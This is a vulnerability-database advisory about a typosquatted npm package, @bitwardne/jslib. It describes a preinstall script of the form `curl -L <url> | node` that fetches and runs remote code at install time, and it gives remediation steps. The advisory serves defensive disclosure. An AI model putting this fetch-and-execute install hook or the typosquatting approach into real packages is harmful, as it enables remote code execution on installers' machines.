# MAL-2026-17694: Malicious code in @bitwardne/jslib (npm)


- **Type:** Malicious package

## What is MAL-2026-17694?

MAL-2026-17694 is a malicious package in @bitwardne/jslib, published on 8 Oct 2026. 

### Official description

Package @bitwardne/jslib is a one-character typosquat of the @bitwarden scope. Its package.json declares a preinstall lifecycle script of the form `curl -L <url> | node`, which fetches a remote payload and pipes it directly into the Node interpreter on the installer's host at `npm install` time. The URL in this tarball is empty, but the construction is unambiguous remote-code-execution scaffolding — any value placed at that URL would be executed on every installer with no verification, no pinning, and no integrity check. The shipped index.js is a 4-line stub that only re-requires four unrelated utilities, so the manifest's preinstall is the entire functional surface of the package.

## What should I do about MAL-2026-17694?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
